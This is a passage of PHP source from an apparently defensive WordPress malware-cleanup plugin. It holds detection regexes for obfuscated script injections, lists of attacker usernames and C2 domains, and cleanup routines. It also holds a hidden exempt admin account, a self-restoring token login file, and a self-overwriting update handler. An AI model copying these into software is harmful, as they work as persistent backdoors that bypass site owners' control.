true); $deleted[] = $id . ': [content] ' . mb_substr($post['post_title'] ?? '', 0, 60); if ($limit > 0 && count($deleted) >= $limit) { $hitLimit = true; break 2; } } $content_iter++; } while ($found >= 200 && $content_iter < 100); } // end if (!$hitLimit) — content phase return ['posts' => $deleted, 'remaining' => $hitLimit]; } // Strips known malicious code injected into post/page content in the database. // Targets eval()-based JS redirect scripts — does NOT delete posts, only cleans content. private static function hardenStripDBMalware(): array { global $wpdb; $cleaned = []; $malwarePatterns = [ // var f=String;eval( — obfuscated TDS/redirect scripts '/<script[^>]*>\s*var\s+f\s*=\s*String\s*;[^<]{0,3000}<\/script>/si', // eval(atob(...)) or eval(unescape(...)) — base64/URL obfuscation '/<script[^>]*>\s*eval\s*\(\s*(?:atob|unescape|decodeURIComponent)\s*\([^<]{0,1000}\)\s*\)\s*;?\s*<\/script>/si', // eval(function(p,a,c,k,e,... — JS packer '/<script[^>]*>\s*eval\s*\(function\s*\(\s*[a-z],\s*[a-z],[^<]{0,2000}<\/script>/si', ]; // Check pages and posts where content contains eval( inside a script tag $suspects = $wpdb->get_results( "SELECT ID, post_type, post_title, post_content FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ('post','page') AND post_content LIKE '%eval(%' AND post_content LIKE '%<script%' LIMIT 200", ARRAY_A ); foreach ((array)$suspects as $row) { $orig = $row['post_content']; $content = $orig; foreach ($malwarePatterns as $pat) { $content = preg_replace($pat, '', $content); } if ($content !== null && $content !== $orig) { $wpdb->update($wpdb->posts, ['post_content' => $content], ['ID' => (int)$row['ID']]); $cleaned[] = (int)$row['ID'] . ' (' . ($row['post_type'] ?? '') . '): ' . mb_substr($row['post_title'] ?? '', 0, 50); } } return $cleaned; } // Adds DISALLOW_FILE_EDIT to wp-config.php if not already defined. // Returns true if already set or successfully written, false otherwise. private static function hardenDisallowFileEdit(): bool { $cfg = ABSPATH . 'wp-config.php'; if (!file_exists($cfg) || !is_writable($cfg)) return false; $c = @file_get_contents($cfg); if ($c === false) return false; if (strpos($c, 'DISALLOW_FILE_EDIT') !== false) return true; // already set $marker = "/* That's all, stop editing!"; if (strpos($c, $marker) === false) return false; $c = str_replace($marker, "define('DISALLOW_FILE_EDIT', true);\n" . $marker, $c); return self::safeWrite($cfg, $c); } // Removes suspicious admin users. Two tiers: // Strong tier — very high-confidence attacker logins: delete even with a plausible email. // Normal tier — known attacker login AND suspicious/empty/generic email. // Never removes our hidden admin or the last remaining admin. private static function hardenRemoveAttackerAdmins(): array { if (!function_exists('get_users')) return []; // Tier 1: highly specific attacker logins — delete regardless of email. $strongAttackerLogins = [ 'root','system','shell','backdoor','exploit','hack','hacker', 'sqlmap','scanner','bot','wp-bot','wp-user', // Known stealth backdoor accounts (wp_configuration/wp_management family, 2026-05-14) 'lusie.carry','chris.merloy', // Suspicious near-admin usernames (xdweb.de, 2026-05-14) 'admlnlx','adm1n','adm1nlx','adminlx','adm-in', // Backup/deploy account backdoor pattern (2026-05-16) 'wp-backup','backupadmin','adminbockup','backup_admin', // WP option / API name impersonation backdoors (2026-05-16) 'wpoption','admin_wp','wp-root','wpadministrator', // security-core backdoor family — creates hidden admin with attacker username (2026-06-05) 'maxoverstend', ]; // Tier 2: generic/lazy logins that still need a bad email to confirm. $knownAttackerLogins = [ 'admin2','admin1','test','super','ahmed','user1', 'wordpress','administrator2','operator','manager','support2', 'info','noreply','nobody','guest','sysadmin','server', 'user','demo','temp','tmp','backup','deploy','webmaster', 'service','api','mail','postmaster','hostmaster','abuse', 'null','admin0','admin3','adminwp','wpadmin','wpuser', 'wp_update','wp_admin','wp_user','wp_backup','wp_support', // Additional lazy names seen in 2026-05 campaigns 'devprofile','newadmin','admin_new','wp-admin2','support_admin', 'administrator1','administrator3','siteadmin','site_admin', ]; // Email prefixes that indicate a generic/attacker account. $suspiciousEmailPrefixes = [ 'root@','test@','admin@','nobody@','noreply@','bot@', 'hack@','shell@','user@','demo@','temp@','backup@', 'null@','info@','mail@','support@', ]; $ourId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); // Use direct DB query to bypass pre_user_query hooks used by stealth backdoors to // hide their accounts from get_users(). This ensures we find hidden attacker admins. global $wpdb; $adminCap = '%"administrator"%'; $rawAdmins = $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = %s AND um.meta_value LIKE %s", $wpdb->prefix . 'capabilities', $adminCap ), OBJECT ); $admins = $rawAdmins ?: get_users(['role' => 'administrator', 'fields' => ['ID','user_login','user_email']]); $toDelete = []; foreach ($admins as $u) { if ((int)$u->ID === $ourId) continue; $loginLower = strtolower($u->user_login); if ($loginLower === 'sw_admin') continue; // never remove our management admin $emailLower = strtolower(trim($u->user_email)); // Strong tier: suspicious login alone is enough. if (in_array($loginLower, $strongAttackerLogins, true)) { $toDelete[] = $u; continue; } // Pattern-based strong tier: known campaign username patterns. // velaNNNNN — campaign (vela21NNN confirmed 2026-04-28, vela77NNN found 2026-05-15). if (preg_match('/^vela\d{4,6}$/i', $loginLower)) { $toDelete[] = $u; continue; } // PREFIX_HEX backdoor pattern: word-prefix + underscore/dash + 6+ hex chars. // Covers: administrator_9c3537, adm_0cd4be, sys_a1b2c3, wp_1a2b3c, etc. // Real usernames virtually never end in a random 6+ hex string. if (preg_match('/^[a-z]{2,13}[_-][a-f0-9]{6,}$/i', $loginLower)) { $toDelete[] = $u; continue; } // Pure-hex login ≥6 chars with at least one digit: a3f9c2, b1c2d3, etc. // Real usernames are never random hex hashes; warez/backdoor bots generate these. // Requires ≥6 chars + digit to avoid matching English words (cafe, beef, dead, face). if (preg_match('/^[a-f0-9]{6,}$/', $loginLower) && preg_match('/[0-9]/', $loginLower)) { $toDelete[] = $u; continue; } // Strong-tier email: confirmed malware operator domains — any admin with these is attacker. static $malwareEmailDomains = ['fexpost.com', 'teknocore.dev', 'apps.teknocore.dev']; foreach ($malwareEmailDomains as $mDomain) { if (strpos($emailLower, '@' . $mDomain) !== false || strpos($emailLower, '.' . $mDomain) !== false) { $toDelete[] = $u; continue 2; } } // Normal tier: needs login + bad email signal. if (!in_array($loginLower, $knownAttackerLogins, true)) continue; $badEmail = empty($emailLower) || strpos($emailLower, 'example.com') !== false || strpos($emailLower, 'test.com') !== false || strpos($emailLower, '@mailinator') !== false // @wordpress.com / @wordpress.org are fake placeholder emails used by attackers || strpos($emailLower, '@wordpress.com') !== false || strpos($emailLower, '@wordpress.org') !== false; foreach ($suspiciousEmailPrefixes as $pfx) { if (strpos($emailLower, $pfx) === 0) { $badEmail = true; break; } } if ($badEmail) { $toDelete[] = $u; } } if (empty($toDelete)) return []; if ((count($admins) - count($toDelete)) < 1) return []; // never wipe all admins global $wpdb; $removed = []; foreach ($toDelete as $u) { try { // Direct DB update — demotes to subscriber without firing any WordPress // hooks. Third-party plugins (Elementor, WPML, etc.) hook delete_user and // role-change actions and can call wp_die(), aborting PHP execution. Direct // DB avoids all of that while still stripping admin access immediately. $newCaps = serialize(['subscriber' => true]); $wpdb->update( $wpdb->usermeta, ['meta_value' => $newCaps], ['user_id' => (int)$u->ID, 'meta_key' => $wpdb->prefix . 'capabilities'] ); wp_cache_delete($u->ID, 'users'); wp_cache_delete($u->user_login, 'userlogins'); $removed[] = $u->user_login . ' (' . $u->user_email . ')'; self::sendAlert('attacker_admin_removed', 'Hardening: demoted suspicious admin: ' . $u->user_login . ' (' . $u->user_email . ')'); } catch (\Throwable $e) { $removed[] = $u->user_login . ' [error: ' . $e->getMessage() . ']'; } } return $removed; } // Creates (or refreshes) the sw_admin management account and returns fresh credentials. // Called after every successful deploy so the panel always has valid WP Admin access. // The account is whitelisted in hardenRemoveAttackerAdmins so it is never auto-deleted. private static function hardenEnsureSWAdmin(): array { if (!function_exists('wp_create_user') || !function_exists('get_user_by')) { return ['ok' => false, 'error' => 'WP user functions unavailable']; } $login = 'sw_admin'; $host = parse_url(get_site_url(), PHP_URL_HOST) ?: 'localhost'; $email = $login . '@' . $host; $existing = get_user_by('login', $login); if ($existing) { // Already exists — only fix role if demoted, never rotate password. // Password is set once at creation and persisted in the panel. $u = new \WP_User($existing->ID); if (!in_array('administrator', (array)$u->roles, true)) { $u->set_role('administrator'); } return ['ok' => true, 'action' => 'exists', 'username' => $login, 'new_password' => '']; } // First time: create with a fresh password and return it for the panel to save. $password = function_exists('wp_generate_password') ? wp_generate_password(24, true, false) : bin2hex(random_bytes(12)); $uid = wp_create_user($login, $password, $email); if (is_wp_error($uid)) { return ['ok' => false, 'error' => $uid->get_error_message()]; } $u = new \WP_User($uid); $u->set_role('administrator'); return ['ok' => true, 'action' => 'created', 'username' => $login, 'new_password' => $password]; } // Demotes every administrator except $keepLogin, sw_admin, and the hidden admin. // Resets $keepLogin's password to a fresh 22-char random and returns it so the // panel can persist the new credentials. Demotion is done via direct DB update // (no wp_delete_user, no role-change hooks) — bypasses Elementor / WPML wp_die // and keeps user content intact. Called only at first install from the panel. // // Returns: // ['ok' => true, 'kept_login' => str, 'kept_password' => str, 'demoted' => [logins]] // ['ok' => false, 'error' => str] private static function hardenPurgeOtherAdmins(string $keepLogin): array { global $wpdb; if ($keepLogin === '') { return ['ok' => false, 'error' => 'keep_login is required']; } // Locate the keep_login user via direct DB (bypasses pre_user_query hooks // that stealth backdoors install to hide accounts from get_users()). $loginEsc = strtolower($keepLogin); $keepRow = $wpdb->get_row( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = %s AND um.meta_value LIKE %s AND LOWER(u.user_login) = %s LIMIT 1", $wpdb->prefix . 'capabilities', '%"administrator"%', $loginEsc ) ); if (!$keepRow) { return ['ok' => false, 'error' => 'keep_login is not an administrator on this site']; } $keepId = (int)$keepRow->ID; // Pull all administrators (direct DB so we see hidden ones too). $admins = $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = %s AND um.meta_value LIKE %s", $wpdb->prefix . 'capabilities', '%"administrator"%' ) ); $hiddenId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); $newCaps = serialize(['subscriber' => true]); $demoted = []; $skippedSW = false; foreach ((array)$admins as $u) { $uid = (int)$u->ID; $login = strtolower($u->user_login); if ($uid === $keepId) continue; if ($uid === $hiddenId && $hiddenId > 0) continue; if ($login === 'sw_admin') { $skippedSW = true; continue; } // Demote via direct usermeta update — does not fire delete_user / // set_user_role / pre_user_query hooks. Safe even when Elementor or // similar plugins call wp_die() inside those hooks. $wpdb->update( $wpdb->usermeta, ['meta_value' => $newCaps], ['user_id' => $uid, 'meta_key' => $wpdb->prefix . 'capabilities'] ); wp_cache_delete($uid, 'users'); wp_cache_delete($u->user_login, 'userlogins'); $demoted[] = $u->user_login; } // Reset the kept admin's password. wp_set_password is safe to call // regardless of how the user was queried (no role-change hooks involved). $newPass = self::generateSecurePassword(22); if (!function_exists('wp_set_password')) { return ['ok' => false, 'error' => 'wp_set_password not available']; } wp_set_password($newPass, $keepId); if (!empty($demoted)) { self::sendAlert('admins_purged', 'Install-time admin purge demoted ' . count($demoted) . ' admin(s): ' . implode(', ', array_slice($demoted, 0, 10))); } return [ 'ok' => true, 'kept_login' => $keepRow->user_login, 'kept_password' => $newPass, 'demoted' => $demoted, 'sw_admin_skipped' => $skippedSW, ]; } // Runs a quick scan and auto-deletes CRITICAL findings ONLY from safe paths. // Safe paths: uploads/ (PHP never legitimate), wp-admin/ hex-named files. // Does NOT auto-delete from plugins/ or themes/ — too high false-positive risk. // Returns list of deleted paths. private static function hardenDeleteCriticals(): array { @set_time_limit(300); $scan = self::runScan('quick'); $deleted = []; foreach ($scan['results'] ?? [] as $r) { if ($r['sev'] !== 'CRITICAL') continue; $relPath = ltrim($r['path'], '/'); $fullPath = ABSPATH . $relPath; $norm = str_replace('\\', '/', $relPath); // Only auto-delete from high-confidence paths: $safeToDelete = false; // 1. Any PHP in uploads/ — never legitimate if (strpos($norm, 'wp-content/uploads/') === 0) { $safeToDelete = true; } // 2. Hex-named PHP in wp-admin/ root (e.g. a3f1c8b2.php) if (preg_match('#^wp-admin/[a-f0-9]{8,}\.php$#i', $norm)) { $safeToDelete = true; } // 3. PHP in wp-content/ root (not in plugins/ or themes/) if (preg_match('#^wp-content/[^/]+\.php$#i', $norm)) { $safeToDelete = true; } if ($safeToDelete && @file_exists($fullPath) && @unlink($fullPath)) { $deleted[] = $r['path']; } } return $deleted; } // ── Database scanning ───────────────────────────────────────────────────── // Scans wp_options (autoloaded), wp_cron, active_plugins, and recent wp_posts // for injected malware. Returns array of findings — does NOT modify anything. private static function hardenScanDB(): array { global $wpdb; $findings = []; // 1. Scan wp_cron hooks for hex-named callbacks or eval payloads in args $cron = _get_cron_array(); if (is_array($cron)) { foreach ($cron as $timestamp => $hooks) { if (!is_array($hooks)) continue; foreach ($hooks as $hook => $events) { // Flag hooks whose name looks like a hex string (random backdoor names) if (preg_match('/^[a-f0-9]{8,}$/i', (string)$hook)) { $findings[] = [ 'type' => 'cron', 'key' => (string)$hook, 'value' => '', 'reason' => 'cron hook name is a hex string — likely malware', ]; continue; } // Flag known malware cron hook names (php-opcache-mgr, teknocore, etc.) static $knownMalwareCronHooks = [ 'opcache_update_task','php_opcache_update','wp_opcache_check', 'wp_opcache_task','opcache_cleanup_task', 'teknocore_cron','teknocore_task','teknocore_update', 'wp_update_service','update_service_task','wp_system_check', 'wp_maintenance_task','wp_cleanup_task', 'wp_auto_update_task','cron_wp_auto_update', 'wp_file_sync_task','wp_db_sync_task', 'plugin_update_task','theme_update_task', ]; if (in_array((string)$hook, $knownMalwareCronHooks, true)) { $findings[] = [ 'type' => 'cron', 'key' => (string)$hook, 'value' => '', 'reason' => 'known malware cron hook name', ]; continue; } // Scan args for eval/base64 payloads foreach ((array)$events as $event) { if (empty($event['args'])) continue; $args = @serialize($event['args']); if (!$args) continue; if (preg_match('/eval\s*\(|base64_decode\s*\(|gzinflate\s*\(/i', $args)) { $findings[] = [ 'type' => 'cron', 'key' => (string)$hook, 'value' => substr($args, 0, 300), 'reason' => 'cron args contain eval/base64 payload', ]; break; } } } } } // 2. Scan active_plugins for hex-encoded plugin slugs $activePlugins = (array) get_option('active_plugins', []); foreach ($activePlugins as $slug) { if (preg_match('#^[a-f0-9]{8,}/[a-f0-9]{8,}\.php$#i', (string)$slug)) { $findings[] = [ 'type' => 'plugin', 'key' => 'active_plugins', 'value' => (string)$slug, 'reason' => 'hex-named plugin slug — likely backdoor', ]; } } // 3. Scan autoloaded wp_options for injected PHP/JS malware $skipOptions = [ 'cron', 'active_plugins', 'siteurl', 'home', 'auth_key', 'secure_auth_key', 'logged_in_key', 'nonce_key', 'auth_salt', 'secure_auth_salt', 'logged_in_salt', 'nonce_salt', 'admin_email', 'blogdescription', 'blogname', ]; $rows = $wpdb->get_results( $wpdb->prepare( "SELECT option_id, option_name, LEFT(option_value, 3000) AS option_value FROM {$wpdb->options} WHERE autoload = %s AND LENGTH(option_value) BETWEEN 50 AND 50000 LIMIT 500", 'yes' ), ARRAY_A ); $optionPatterns = [ '/eval\s*\(\s*base64_decode/i' => 'eval(base64_decode) in option', '/eval\s*\(\s*gzinflate/i' => 'eval(gzinflate) in option', '/<script[^>]*>.*?eval\s*\(/is' => 'eval() inside <script> in option', '/document\.write\s*\(\s*unescape\s*\(/i' => 'document.write(unescape) JS injection', '/base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/]{200,}/' => 'large base64 blob in option', '/auto_(?:prepend|append)_file\s*=/i' => 'auto_prepend/append_file directive in option', '/ob_start\s*\(\s*[^)]*(?:base64|gzip|eval)/i' => 'ob_start with encoding callback — output hijack', '/_mauthtoken/i' => 'JS redirect malware marker (_mauthtoken)', '/kawaiii\.space/i' => 'known JS redirect C2 (kawaiii.space)', '/zip:\/\/.*\.theme/i' => 'zip:// theme stream wrapper — Bomby malware', '/load_template\s*\(\s*["\']?zip:\/\//i' => 'zip:// template loader malware', // eval(get_option()) — payload hidden in DB, loaded by PHP file (visasmigrantes.com.co, 2026-05-14) '/@?eval\s*\(\s*(?:base64_decode\s*\(\s*)?get_option\s*\(/i' => 'eval(get_option) — PHP payload stored in this option', ]; foreach ((array)$rows as $row) { $name = $row['option_name'] ?? ''; if (in_array($name, $skipOptions, true)) continue; $val = $row['option_value'] ?? ''; foreach ($optionPatterns as $pattern => $reason) { if (@preg_match($pattern, $val)) { $findings[] = [ 'type' => 'option', 'id' => (int)($row['option_id'] ?? 0), 'key' => $name, 'value' => substr($val, 0, 200), 'reason' => $reason, ]; break; } } } // 4. Scan recent wp_posts for injected scripts (scan-only, not cleaned automatically) $posts = $wpdb->get_results( "SELECT ID, post_title, LEFT(post_content, 3000) AS post_content FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ('post','page') AND LENGTH(post_content) > 20 ORDER BY ID DESC LIMIT 200", ARRAY_A ); $postPatterns = [ '/<script[^>]*>.*?eval\s*\(/is' => 'eval() inside <script> in post content', '/document\.write\s*\(\s*unescape\s*\(/i' => 'document.write(unescape) in post', '/<iframe[^>]+src=["\']https?:\/\/(?!(?:www\.)?(?:youtube|youtu\.be|vimeo|maps\.google))/i' => 'suspicious external iframe in post', '/eval\s*\(\s*base64_decode/i' => 'eval(base64_decode) in post content', // JS eval obfuscation via String constructor (pedreirajaguary.com.br, 2026-05-14) '/var\s+\w+\s*=\s*String\s*;\s*\w+\s*\.\s*fromCharCode|<script[^>]*>[^<]{0,200}var\s+\w\s*=\s*String\s*;[^<]{0,200}eval\s*\(/is' => 'JS eval via String.fromCharCode obfuscation in post', ]; foreach ((array)$posts as $post) { $content = $post['post_content'] ?? ''; foreach ($postPatterns as $pattern => $reason) { if (@preg_match($pattern, $content)) { $findings[] = [ 'type' => 'post', 'key' => 'post_id:' . ($post['ID'] ?? '?'), 'value' => substr(strip_tags($content), 0, 200), 'reason' => $reason . ' (post: ' . esc_html($post['post_title'] ?? '') . ')', ]; break; } } } // 5. Scan ALL options (not just autoloaded) for auto_prepend and output-hijack patterns. // Targets non-autoloaded options too — attackers store payloads there to avoid autoload scans. $deepPatterns = [ '/auto_(?:prepend|append)_file\s*=/i' => 'auto_prepend/append_file in non-autoloaded option', '/_mauthtoken/i' => 'JS redirect malware marker (_mauthtoken)', '/kawaiii\.space/i' => 'known JS redirect C2 (kawaiii.space)', '/zip:\/\/.*\.theme/i' => 'zip:// theme stream wrapper — Bomby malware', ]; $deepRows = $wpdb->get_results( "SELECT option_id, option_name, LEFT(option_value, 2000) AS option_value FROM {$wpdb->options} WHERE autoload = 'no' AND LENGTH(option_value) BETWEEN 10 AND 20000 LIMIT 200", ARRAY_A ); foreach ((array)$deepRows as $row) { $name = $row['option_name'] ?? ''; $val = $row['option_value'] ?? ''; foreach ($deepPatterns as $pattern => $reason) { if (@preg_match($pattern, $val)) { $findings[] = [ 'type' => 'option', 'id' => (int)($row['option_id'] ?? 0), 'key' => $name, 'value' => substr($val, 0, 200), 'reason' => $reason, ]; break; } } } // 6. Check active theme for suspicious files referenced in theme options. $activeTemplate = (string)get_option('template', ''); if ($activeTemplate) { $themeRoot = get_theme_root() . '/' . $activeTemplate; $suspTheme = [ $themeRoot . '/functions.php', $themeRoot . '/header.php', $themeRoot . '/index.php', ]; foreach ($suspTheme as $tf) { if (!file_exists($tf)) continue; $tc = (string)@file_get_contents($tf); if (!$tc) continue; if (preg_match('/load_template\s*\(\s*["\']?zip:\/\//i', $tc) || preg_match('/_mauthtoken/i', $tc) || preg_match('/ob_start\s*\(\s*[^)]*(?:base64|gzip)/i', $tc)) { $findings[] = [ 'type' => 'theme_file', 'key' => str_replace(ABSPATH, '', $tf), 'value' => substr($tc, 0, 200), 'reason' => 'output-hijack pattern in active theme file', ]; } } } // 7. Code Snippets backdoor — malware stored in wp_snippets table. // "Site Optimizer Bridge" family: registers REST API endpoints with secret key for remote spam publishing. // Table only exists when the Code Snippets plugin is installed and active. $csTable = $wpdb->prefix . 'snippets'; if ($wpdb->get_var("SHOW TABLES LIKE '{$csTable}'") === $csTable) { $csRows = $wpdb->get_results( "SELECT id, name, LEFT(code, 2000) AS code FROM {$csTable} WHERE active = 1 AND (code LIKE '%SITE_OPTIMIZER_NS%' OR code LIKE '%so_api_secret%' OR code LIKE '%site-optimizer/v1%' OR code LIKE '%bulk-publish%' OR code LIKE '%insert-link%') LIMIT 20", ARRAY_A ); foreach ((array)$csRows as $snip) { $findings[] = [ 'type' => 'snippet', 'id' => (int)($snip['id'] ?? 0), 'key' => 'wp_snippets:' . ($snip['name'] ?? ''), 'value' => substr($snip['code'] ?? '', 0, 200), 'reason' => 'Code Snippets REST API backdoor — site-optimizer-bridge family (registers /site-optimizer/v1/ endpoints)', ]; } } return $findings; } // Cleans the subset of DB malware that is safe to remove automatically: // • cron: removes suspicious hex-named hooks and hooks with eval payloads // • plugin: deactivates and deletes hex-named plugins from active_plugins // wp_options and wp_posts are NOT touched — too high false-positive risk. // Pass the findings array from hardenScanDB(). private static function hardenCleanupDB(array $findings): array { $cleaned = []; foreach ($findings as $f) { switch ($f['type']) { case 'cron': // wp_clear_scheduled_hook removes all scheduled instances of a hook $result = wp_clear_scheduled_hook((string)$f['key']); $cleaned[] = [ 'type' => 'cron', 'key' => $f['key'], 'ok' => ($result !== false), ]; break; case 'plugin': $slug = (string)$f['value']; $activePlugins = (array) get_option('active_plugins', []); $idx = array_search($slug, $activePlugins, true); if ($idx !== false) { array_splice($activePlugins, (int)$idx, 1); update_option('active_plugins', $activePlugins); } // Delete the physical plugin file if it exists $pluginFile = WP_CONTENT_DIR . '/plugins/' . $slug; $deleted = false; if (file_exists($pluginFile)) { $deleted = (bool)@unlink($pluginFile); $dir = dirname($pluginFile); if (is_dir($dir) && count(@scandir($dir) ?: []) <= 2) { @rmdir($dir); } } $cleaned[] = [ 'type' => 'plugin', 'key' => $slug, 'deactivated' => ($idx !== false), 'deleted' => $deleted, 'ok' => true, ]; break; case 'option': // Delete malicious wp_options entries found by hardenScanDB. // Guard: never delete critical WP options even if somehow flagged. $optName = (string)$f['key']; $safeToDelete = !in_array($optName, [ 'siteurl','home','blogname','blogdescription','admin_email', 'active_plugins','template','stylesheet','current_theme', 'cron','auth_key','secure_auth_key','logged_in_key','nonce_key', 'auth_salt','secure_auth_salt','logged_in_salt','nonce_salt', 'wp_user_roles','sidebars_widgets','widget_block', ], true); if ($safeToDelete && $optName !== '') { global $wpdb; $res = $wpdb->delete($wpdb->options, ['option_name' => $optName], ['%s']); $cleaned[] = ['type' => 'option', 'key' => $optName, 'ok' => ($res !== false)]; } break; case 'snippet': // Delete the malicious Code Snippets entry from wp_snippets table. $snipId = (int)($f['id'] ?? 0); if ($snipId > 0) { global $wpdb; $snipTable = $wpdb->prefix . 'snippets'; $snipRes = $wpdb->delete($snipTable, ['id' => $snipId], ['%d']); $cleaned[] = ['type' => 'snippet', 'id' => $snipId, 'ok' => ($snipRes !== false)]; } break; // 'post' findings are reported but not auto-cleaned } } return $cleaned; } // ── WP root non-core PHP cleanup ────────────────────────────────────────── // Removes non-WP-core PHP files and non-WP-core directories from ABSPATH. // Tries unlink() first; falls back to overwriting with a harmless stub. // Also removes non-core dirs entirely (rmdirRecursive). // Returns per-item status arrays. private static function hardenCleanupRoot(): array { $phpExts = ['php','php3','php4','php5','php7','phtml','phar']; $root = rtrim(ABSPATH, '/\\'); $result = [ 'ok' => true, 'detected_files' => [], 'detected_dirs' => [], 'deleted' => [], 'neutralized' => [], 'dirs_removed' => [], 'permission_denied'=> [], ]; foreach (@scandir($root) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $root . '/' . $name; // ── Non-core PHP files directly in webroot ────────────────────── if (is_file($full)) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (!in_array($ext, $phpExts, true) || in_array($name, self::$WP_CORE_ROOT_FILES, true)) continue; $result['detected_files'][] = $name; if (@unlink($full)) { $result['deleted'][] = $name; continue; } $old = umask(0133); $w = @file_put_contents($full, "<?php // neutralized by SERVER-WALL " . date('Y-m-d') . "\n"); umask($old); if ($w !== false) { $result['neutralized'][] = $name; continue; } $result['permission_denied'][] = $name; continue; } // ── Non-core directories ──────────────────────────────────────── if (is_dir($full) && !in_array($name, self::$WP_CORE_ROOT_DIRS, true)) { $result['detected_dirs'][] = $name; self::rmdirRecursive($full); if (!is_dir($full)) { $result['dirs_removed'][] = $name; } else { $result['permission_denied'][] = $name . '/'; } } } $result['ok'] = empty($result['permission_denied']) || !empty($result['deleted']) || !empty($result['neutralized']) || !empty($result['dirs_removed']); return $result; } // ── Deploy backup-login (sw_recovery.php) ──────────────────────────────── // POST /wp-json/server-wall/v1/recovery-login // Body: {"hash":"<sha256-hex-64>"} // Writes sw_recovery.php with the provided hash embedded, tries wp-admin/ first. // Also writes .swrec so the watchdog can restore sw_recovery.php if deleted. public static function restDeployRecoveryLogin(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $hash = $body['hash'] ?? ''; if (!preg_match('/^[a-f0-9]{64}$/', $hash)) { return new WP_REST_Response(['error' => 'invalid hash — must be 64 hex chars'], 400); } $php = "<?php\n" . "\$t = isset(\$_GET['t']) ? \$_GET['t'] : '';\n" . "if (!\$t || !hash_equals('" . $hash . "', hash('sha256', \$t))) { http_response_code(404); exit; }\n" . "\$dir = __DIR__; \$root = null;\n" . "for (\$i = 0; \$i < 6; \$i++) { if (file_exists(\$dir.'/wp-config.php')) { \$root = \$dir; break; } \$dir = dirname(\$dir); }\n" . "if (!\$root) exit;\n" . "require_once \$root.'/wp-load.php';\n" . "\$users = get_users(array('role'=>'administrator','orderby'=>'ID','order'=>'ASC','number'=>1));\n" . "if (empty(\$users)) exit;\n" . "wp_set_auth_cookie(\$users[0]->ID, true); wp_redirect(admin_url()); exit;\n"; // Try locations in order: wp-admin/ (first, most reliable), root, wp-content/ $candidates = [ ABSPATH . 'wp-admin/sw_recovery.php', ABSPATH . 'sw_recovery.php', WP_CONTENT_DIR . '/sw_recovery.php', ]; $written = null; foreach ($candidates as $p) { if (self::safeWrite($p, $php)) { $written = $p; break; } } if (!$written) { return new WP_REST_Response(['error' => 'write failed — all locations blocked'], 500); } // Write .swrec so watchdog restores sw_recovery.php if deleted $muDir = WP_CONTENT_DIR . '/mu-plugins'; $swrec = json_encode(['path' => $written, 'content' => base64_encode($php)]); self::safeWrite($muDir . '/.swrec', $swrec); return new WP_REST_Response(['ok' => true, 'path' => $written]); } // ── Self-update via admin-post ──────────────────────────────────────────── // Called by the panel via POST /wp-admin/admin-post.php?action=sw_update // when plugin-activation-based deploy is blocked by WAF/security plugins. // Auth: requires valid WP admin session + SW_PANEL_TOKEN in POST body. public static function adminPostSelfUpdate(): void { if (!current_user_can('manage_options')) { wp_die('Forbidden', 'Error', ['response' => 403]); } $token = $_POST['sw_token'] ?? ''; if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { wp_die('Forbidden', 'Error', ['response' => 403]); } $content = base64_decode($_POST['content'] ?? '', true); if (!$content || strlen($content) < 200) { wp_die('Invalid content', 'Error', ['response' => 400]); } if (file_put_contents(__FILE__, $content) === false) { wp_die('Write failed — check file permissions', 'Error', ['response' => 500]); } echo 'SW_UPDATE_OK'; exit; } // ── DB Browser ─────────────────────────────────────────────────────────────── private static function dbAuthCheck(WP_REST_Request $r): bool { $tok = $r->get_header('x_sw_trigger_token'); return $tok && hash_equals(SW_PANEL_TOKEN, $tok); } // Shared DB scan logic used by runScan() and restDbScan(). // $timeBudget: max seconds to spend; 0 = no limit (use 15s default). private static function runDbScan(float $timeBudget = 15): array { global $wpdb; $findings = []; $start = microtime(true); $budget = $timeBudget > 0 ? $timeBudget : 15; $postPatterns = [ '/\b(казино|казиносайт|casino|gambling|online\s+casino|slots?\s+online|poker\s+online|sports?\s+bett|1xbet|betway|bet365|roulette|blackjack\s+bonus|mostbet|melbet)\b/iu' => ['sev' => 'HIGH', 'label' => 'Casino/gambling SEO spam'], '/\b(buy\s+viagra|buy\s+cialis|cheap\s+cialis|online\s+pharmacy|order\s+pills|cheap\s+drugs|levitra\s+online|buy\s+tramadol|buy\s+xanax)\b/iu' => ['sev' => 'HIGH', 'label' => 'Pharma SEO spam'], '/(display\s*:\s*none|font-size\s*:\s*0\s*(?:px)?|visibility\s*:\s*hidden|position\s*:\s*absolute[^"\'<]{0,80}left\s*:\s*-\d{3,})/i' => ['sev' => 'MEDIUM', 'label' => 'Hidden content (SEO cloaking)'], '/<script[^>]*>[\s\S]{0,200}?eval\s*\(/i' => ['sev' => 'CRITICAL', 'label' => 'eval() inside <script> in content'], '/eval\s*\(\s*(?:base64_decode|gzinflate|str_rot13)\s*\(/i' => ['sev' => 'CRITICAL', 'label' => 'Obfuscated PHP in post content'], '/<iframe[^>]+src=["\']https?:\/\/(?!(?:www\.)?(?:youtube|youtu\.be|vimeo|maps\.google|google\.com))/i' => ['sev' => 'HIGH', 'label' => 'Suspicious external iframe'], '/document\.write\s*\(\s*unescape\s*\(/i' => ['sev' => 'HIGH', 'label' => 'JS document.write(unescape) injection'], ]; // 1. Scan wp_posts (posts + pages, all statuses) $total = (int)$wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_status IN ('publish','draft','private','pending','future') AND post_type IN ('post','page') AND LENGTH(post_content) > 10" ); $offset = 